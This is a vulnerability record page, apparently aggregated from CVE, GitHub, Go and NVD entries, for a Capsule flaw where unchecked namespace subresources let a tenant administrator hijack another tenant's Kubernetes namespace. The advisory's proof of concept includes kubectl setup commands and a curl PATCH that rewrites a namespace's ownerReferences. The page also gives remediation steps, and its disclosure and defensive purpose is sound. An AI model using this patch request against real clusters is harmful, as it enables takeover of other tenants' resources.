3.9low
Capsule Namespace Hijacking via subresource
- Severity
- 3.9low CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.22% (higher than 13% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-2ww6-hf35-mfjmGO-2026-5043
Description
Capsule is a multi-tenancy and policy-based framework for Kubernetes. To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. Prior to version 0.13.0, the webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. Version 0.13.0 fixes the issue. Another mitigation is to add two subresources (namespaces and snamespaces/status with namespace/finalize within it) to the resources list in the ValidatingWebhookConfiguration rules.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| projectcapsule capsule | < 0.13.0, before 0.13.0 | CVE List, NVD |
| github.com/projectcapsule/capsule (Go) | before 0.13.0 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 3.9low CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L |
| GitHub | 3.9low CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L |
| NVD | 2.7low CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Capsule is a multi-tenancy and policy-based framework for Kubernetes. To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. Prior to version 0.13.0, the webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. Version 0.13.0 fixes the issue. Another mitigation is to add two subresources (namespaces and snamespaces/status with namespace/finalize within it) to the resources list in the ValidatingWebhookConfiguration rules.
GitHub Advisory Database
Summary
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.
Details
When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.
PoC
Open two terminals and create two tenants:
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: oil
spec:
owners:
- name: alice
kind: User
EOF
./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: attacker
spec:
owners:
- name: attacker
kind: User
EOF
./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig
When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker
The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
{
"op": "replace",
"path": "/metadata/ownerReferences",
"value": [
{
"apiVersion": "capsule.clastix.io/v1beta2",
"kind": "Tenant",
"name": "attacker",
"uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
}
]
}
]'
Impact
hijack namespace
Remediation
To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:
resources:
- namespaces
- namespaces/status
- namespace/finalize
Go Vulnerability Database
Capsule Namespace Hijacking via subresource in github.com/projectcapsule/capsule
NVD (es)
Capsule es un framework multi-inquilino y basado en políticas para Kubernetes. Para defenderse contra el secuestro de espacios de nombres logrado a través de operaciones de actualización/parche en los espacios de nombres, Capsule utiliza un webhook para validar las solicitudes de actualización dirigidas a los espacios de nombres. Sin embargo, en Kubernetes, las API de subrecursos namespace/finalize y namespace/status también pueden modificar varios campos de un espacio de nombres, incluido el campo de metadatos. Antes de la versión 0.13.0, el webhook no define reglas de intercepción para estos subrecursos. Como resultado, si un administrador de inquilinos tiene permiso para modificar namespace/status o namespace/finalize, puede realizar con éxito el secuestro de espacios de nombres. La versión 0.13.0 corrige el problema. Otra mitigación es añadir dos subrecursos (namespaces y snamespaces/status con namespace/finalize dentro de él) a la lista de recursos en las reglas de ValidatingWebhookConfiguration.
References
| https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm | advisory, exploit, mitigation, vendor-advisory, web | |
| https://github.com/projectcapsule/capsule/releases/tag/v0.13.0 | product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-30963 | advisory | |
| https://github.com/projectcapsule/capsule | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-30963 changed 2026-06-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-2ww6-hf35-mfjm changed 2026-06-17 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5043 changed 2026-06-17 | CC-BY-4.0 |
| NVD | CVE-2026-30963 changed 2026-07-22 | Public domain |